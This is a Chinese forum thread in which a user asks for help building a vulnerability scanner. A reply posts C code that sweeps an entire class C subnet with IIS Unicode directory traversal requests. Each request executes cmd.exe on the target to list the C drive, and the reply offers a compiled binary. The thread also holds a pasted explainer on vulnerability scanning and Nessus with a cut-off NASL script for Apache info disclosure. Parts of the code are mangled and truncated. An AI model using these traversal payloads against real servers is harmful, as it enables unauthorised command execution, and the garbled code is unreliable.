小弟我最近要利用java編寫一個安全掃描系統的漏洞掃描部分的程序。由于對這方面不很了解,希望得到高手的幫助!!我現在不知道怎么入手去做這個程序。誰能夠幫幫我啊??不勝感激!!!我現在想用錯誤注入的方式來進行編程。誰能提供給我一些相關源代碼呢??!!

熱心網友

如果你要這個程序的執行文件,我編譯了一個,做到了主頁上,有需要的請自行去下載: 這個版本我將IP地址的掃描設定成了一個c段,使用方法是:scan 。*其中的星號是從1到255,因為程序是單線成的,所以有點慢,我會盡快改進另外這次還增加了另外幾個UNICODE,這樣就將程序所能掃描的漏洞完整了/* UNICODE hole scanner。 The version is 0。5 */#include #include #include main(int argc,char *argv[]){ if(argc!=2){ printf("\nUNICODE hole scanner by Maxview。 Ver 0。5\n"); printf("Useage : scan [IP address] (C-class)\n"); printf("Example: scan 202。100。2。* OR scan 211。17。65。*\n"); return(1); } int sock; struct sockaddr_in blah; struct hostent *he; WSADATA wsaData; WORD wVersionRequested=MAKEWORD(1,1); char buff[1024]; char *exA="GET /scripts/。。%c1%1c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *exB="GET /scripts/。。%c1%9c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *exC="GET /scripts/。。%c0%af。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *exD="GET /scripts/。。%c0%2f。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *exE="GET /scripts/。。%c1%9c。。/winnt/system32/cmd。exe?/c+dir+c:\ HTTP/1。0\n\n"; char *fmsg="HTTP/1。1 200 OK"; char host[1000]; char net[1000]; int i; strncpy(host,argv[1],999); if (host[strlen(host)-1]=='*') { host[strlen(host)-1]=0x0; } for (i=1; ih_addr,he-h_length); } else{ if(( n_addr。s_addr=inet_addr(net))==INADDR_NONE){ WSACleanup(); exit(1); } } if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){ send(sock,exA,strlen(exA),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-A hole in %s %s\n", net, exA); } else printf("。"); send(sock,exB,strlen(exB),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-B hole in %s %s\n", net, exB); } else printf("。"); send(sock,exC,strlen(exC),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-C hole in %s %s\n", net, exC); } else printf("。"); send(sock,exD,strlen(exD),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-D hole in %s %s\n", net, exD); } else printf("。"); send(sock,exE,strlen(exE),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-E hole in %s %s\n", net, exE); } else printf("。"); } else printf("Can not connect the address。\n"); closesocket(sock); WSACleanup(); }}使用漏洞掃描工具評估網絡系統安全漏洞掃描是保證系統和網絡安全必不可少的手段,本文將講述Linux系統中,如何使用免費的遠程安全掃描器Nessus進行漏洞掃描。面對互聯網入侵,如果我們能夠根據具體的應用環境,盡可能早地通過網絡掃描來發現安全漏洞,并及時采取適當的處理措施進行修補,就可以有效地阻止入侵事件的發生。因此,漏洞掃描非常重要和必要。漏洞掃描就是對計算機系統或者其他網絡設備進行安全相關的檢測,以找出安全隱患和可被黑客利用的漏洞。漏洞掃描通常采用兩種策略,第一種是被動式策略,第二種是主動式策略。所謂被動式策略就是基于主機之上,對系統中不合適的設置,脆弱的口令以及其他同安全規則抵觸的對象進行檢查;而主動式策略是基于網絡的,它通過執行一些腳本文件模擬對系統進行攻擊的行為并記錄系統的反應,從而發現其中的漏洞。基于網絡的檢測技術,采用積極的,非破壞性的辦法來檢驗系統是否有可能被攻擊崩潰。它利用了一系列的腳本模擬對系統進行攻擊的行為,然后對結果進行分析。它還針對已知的網絡漏洞進行檢驗。網絡檢測技術常被用來進行穿透實驗和安全審記。網絡漏洞掃描的實現網絡漏洞掃描方式通過遠程檢測目標主機TCP/IP不同端口的服務,記錄目標給予的回答。通過這種方法,可以搜集到很多目標主機的各種信息,例如是否能用匿名登陸,是否有可寫的FTP目錄,是否能用Telnet等。在獲得目標主機TCP/IP端口和其對應的網絡訪問服務的相關信息后,與網絡漏洞掃描系統提供的漏洞庫進行匹配,如果滿足匹配條件,則視為漏洞存在。漏洞掃描軟件從最初的專門為Unix系統編寫的一些只具有簡單功能的小程序,發展到現在,已經出現了多個運行在各種操作系統平臺上的、具有復雜功能的商業程序。對于用戶來說,有如下幾種實現方式:● 使用插件(plug-in)。每個插件都封裝一個或者多個漏洞的測試手段,主掃描程序通過調用插件的方法來執行掃描。僅僅是添加新的插件就可以使軟件增加新功能,掃描更多漏洞。在插件編寫規范公布的情況下,用戶或者第三方公司甚至可以自己編寫插件來擴充軟件的功能。同時這種技術使軟件的升級維護都變得相對簡單,并具有非常強的擴展性。●使用專用腳本語言。這其實就是一種更高級的插件技術,用戶可以使用專用腳本語言來擴充軟件功能。腳本語言的使用,簡化了編寫新插件的編程工作,使擴充軟件功能的工作變得更加容易和方便。● 由漏洞掃描程序過渡到安全評估專家系統。最早的漏洞掃描程序只是簡單地把各個掃描測試項的執行結果羅列出來,直接提供給測試者而不對信息進行任何分析處理。而當前較成熟的掃描系統都能夠將對單個主機的掃描結果整理,形成報表,能夠對具體漏洞提出一些解決方法,但對網絡的狀況缺乏一個整體的評估。未來的安全掃描系統,應該不但能夠掃描安全漏洞,還能夠智能化的協助網絡信息系統管理人員評估本網絡的安全狀況,給出安全建議,成為一個安全評估專家系統。而Nessus 是一個功能強大的遠程安全掃描器(該軟件可以從 測試都是由nessusd進程發動的。在測試過程中,Nessus會為每個主機維護一份由掃描測試插件獲得的基本信息。各種其他的測試插件應該盡可能地利用這些信息,以提高測試效率。每個安全測試插件需要向Nessus服務器進行注冊后,才能使用。注冊信息包括名字、描述、作者等。實例分析下面通過編寫一個簡單的腳本來測試Web服務器。這里的WWW服務器采用的是Apache,要實現對其安全測試和模擬攻擊首先要做的是搜集服務器的信息。因此,將先測試一下服務器是否存在泄露自身信息的漏洞。(如圖1所示)這個算法的思想就是:構造一個URL: // 置了腳本的依賴關系。port=get_kb_item(Services/www);if(!port)port=80;這兩行代碼是獲得服務器提供WWW服務的端口號,Nessus并不認為服務器一定在公認端口提供相應服務。其中get_kb_item()函數用來從KB庫中返回對應參數所對應的值,在這里,如果服務器在其他端口提供WWW服務的話,這個函數則返回其非80端口號。string=ApacheServerInformation;if(get_port_state(port)){soc=http_open_socket(port); if(soc){buffer=http_get(item:/server-info,port:port);send(socket:soc,data:buffer);data=http_recv(socket:soc);if(string